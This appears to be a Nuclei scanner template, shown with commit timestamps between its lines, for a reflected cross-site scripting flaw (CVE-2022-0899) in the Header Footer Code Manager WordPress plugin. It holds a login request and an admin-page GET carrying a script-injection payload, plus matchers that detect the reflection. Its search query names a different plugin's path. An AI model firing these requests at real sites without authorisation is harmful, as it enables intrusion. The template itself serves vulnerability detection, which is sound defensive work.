2023-10-17 07:20:28 +00:00
id : CVE-2022-0899
info :
name : Header Footer Code Manager < 1.1.24 - Cross-Site Scripting
author : r3Y3r53
severity : medium
description : |
The Header Footer Code Manager WordPress plugin before 1.1.24 does not escape generated URLs before outputting them back in attributes in an admin page, leading to a Reflected Cross-Site Scripting.
reference :
- https://wpscan.com/vulnerability/1772417a-1abb-4d97-9694-1254840defd1
- https://nvd.nist.gov/vuln/detail/CVE-2022-0899
classification :
cvss-metrics : CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
cvss-score : 6.1
cve-id : CVE-2022-0899
cwe-id : CWE-79
2024-03-23 09:28:19 +00:00
epss-score : 0.00106
2024-04-08 11:34:33 +00:00
epss-percentile : 0.42122
2023-10-17 17:52:26 +00:00
cpe : cpe:2.3:a:draftpress:header_footer_code_manager:*:*:*:*:*:wordpress:*:*
2023-10-17 07:20:28 +00:00
metadata :
verified : true
2023-10-17 17:52:26 +00:00
max-request : 2
vendor : draftpress
product : header_footer_code_manager
framework : wordpress
2024-05-31 19:23:20 +00:00
google-query : inurl:"/wp-content/plugins/wp-custom-pages/"
2024-01-14 09:21:50 +00:00
tags : cve2022,cve,wpscan,wp,wp-plugin,wordpress,xss,authenticated,draftpress
2023-10-17 07:20:28 +00:00
http :
- raw :
- |
POST /wp-login.php HTTP/1.1
Host : {{Hostname}}
Content-Type : application/x-www-form-urlencoded
log={{username}}&pwd={{password}}&wp-submit=Log+In
- |
GET /wp-admin/admin.php?page=hfcm-list&'><script>alert(/document.domain/)</script> HTTP/1.1
Host : {{Hostname}}
matchers :
- type : dsl
dsl :
- 'status_code_2 == 200'
- 'contains(content_type_2, "text/html")'
- 'contains(body_2, "<script>alert(/document.domain/)</script>")'
- 'contains(body_2, "All Snippets")'
condition : and
2024-06-01 06:53:00 +00:00
# digest: 4a0a00473045022100b32980c7114cd709456c3dc2981fea5cc461cdceea2fa72435ff2eaef203ffec0220073fa37edb8092f60568dcfaf1f76c0222a33a59781499c8ecea5fcbb9e667b6:922c64590222798bb761d5b6d8e72950